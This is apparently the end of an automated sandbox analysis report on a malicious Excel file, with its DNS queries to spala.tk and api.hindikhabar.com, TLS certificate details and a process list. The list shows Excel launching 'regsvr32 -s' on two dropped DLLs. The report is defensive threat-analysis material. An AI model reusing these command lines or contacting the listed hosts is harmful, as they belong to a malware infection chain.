                                                                                                                                                      Jun 8, 2021 23:18:42.077572107 CEST53507138.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:47.484524965 CEST5613253192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:47.541882992 CEST53561328.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:18:49.625679970 CEST5898753192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:18:49.682923079 CEST53589878.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:19:06.706063032 CEST5657953192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:19:06.757235050 CEST53565798.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:19:10.352397919 CEST6063353192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:19:10.410440922 CEST53606338.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:19:15.608045101 CEST6129253192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:19:15.654071093 CEST53612928.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:19:56.020617008 CEST6361953192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:19:56.063642025 CEST53636198.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:20:17.720623016 CEST6493853192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:20:17.771677971 CEST53649388.8.8.8192.168.2.3
                                                                                                                                                      Jun 8, 2021 23:20:19.576522112 CEST6194653192.168.2.38.8.8.8
                                                                                                                                                      Jun 8, 2021 23:20:19.629772902 CEST53619468.8.8.8192.168.2.3

                                                                                                                                                      DNS Queries

                                                                                                                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                                                                      Jun 8, 2021 23:18:29.307104111 CEST192.168.2.38.8.8.80x7089Standard query (0)spala.tkA (IP address)IN (0x0001)
                                                                                                                                                      Jun 8, 2021 23:18:30.532510042 CEST192.168.2.38.8.8.80xb00Standard query (0)api.hindikhabar.comA (IP address)IN (0x0001)

                                                                                                                                                      DNS Answers

                                                                                                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                                                                      Jun 8, 2021 23:18:29.488126993 CEST8.8.8.8192.168.2.30x7089No error (0)spala.tk207.174.212.247A (IP address)IN (0x0001)
                                                                                                                                                      Jun 8, 2021 23:18:30.579360008 CEST8.8.8.8192.168.2.30xb00No error (0)api.hindikhabar.com108.167.156.223A (IP address)IN (0x0001)

                                                                                                                                                      HTTPS Packets

                                                                                                                                                      TimestampSource IPSource PortDest IPDest PortSubjectIssuerNot BeforeNot AfterJA3 SSL Client FingerprintJA3 SSL Client Digest
                                                                                                                                                      Jun 8, 2021 23:18:29.847467899 CEST207.174.212.247443192.168.2.349723CN=*.beezzserver.com CN=R3, O=Let's Encrypt, C=USCN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Mon Apr 26 08:54:19 CEST 2021 Wed Oct 07 21:21:40 CEST 2020Sun Jul 25 08:54:19 CEST 2021 Wed Sep 29 21:21:40 CEST 2021771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,037f463bf4616ecd445d4a1937da06e19
                                                                                                                                                      CN=R3, O=Let's Encrypt, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Oct 07 21:21:40 CEST 2020Wed Sep 29 21:21:40 CEST 2021
                                                                                                                                                      Jun 8, 2021 23:18:30.920964956 CEST108.167.156.223443192.168.2.349725CN=legal.hindikhabar.com CN=R3, O=Let's Encrypt, C=USCN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Sat Apr 24 20:52:40 CEST 2021 Wed Oct 07 21:21:40 CEST 2020Fri Jul 23 20:52:40 CEST 2021 Wed Sep 29 21:21:40 CEST 2021771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,037f463bf4616ecd445d4a1937da06e19
                                                                                                                                                      CN=R3, O=Let's Encrypt, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Oct 07 21:21:40 CEST 2020Wed Sep 29 21:21:40 CEST 2021

                                                                                                                                                      Code Manipulations

                                                                                                                                                      Statistics

                                                                                                                                                      Behavior

                                                                                                                                                      Click to jump to process

                                                                                                                                                      System Behavior

                                                                                                                                                      General

                                                                                                                                                      Start time:23:18:24
                                                                                                                                                      Start date:08/06/2021
                                                                                                                                                      Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
                                                                                                                                                      Imagebase:0x2c0000
                                                                                                                                                      File size:27110184 bytes
                                                                                                                                                      MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:high

                                                                                                                                                      General

                                                                                                                                                      Start time:23:18:31
                                                                                                                                                      Start date:08/06/2021
                                                                                                                                                      Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:regsvr32 -s ..\rimo1.dll
                                                                                                                                                      Imagebase:0xab0000
                                                                                                                                                      File size:20992 bytes
                                                                                                                                                      MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:high

                                                                                                                                                      General

                                                                                                                                                      Start time:23:18:31
                                                                                                                                                      Start date:08/06/2021
                                                                                                                                                      Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:regsvr32 -s ..\rimo2.dll
                                                                                                                                                      Imagebase:0xab0000
                                                                                                                                                      File size:20992 bytes
                                                                                                                                                      MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:high

                                                                                                                                                      Disassembly

                                                                                                                                                      Code Analysis

                                                                                                                                                      Reset < >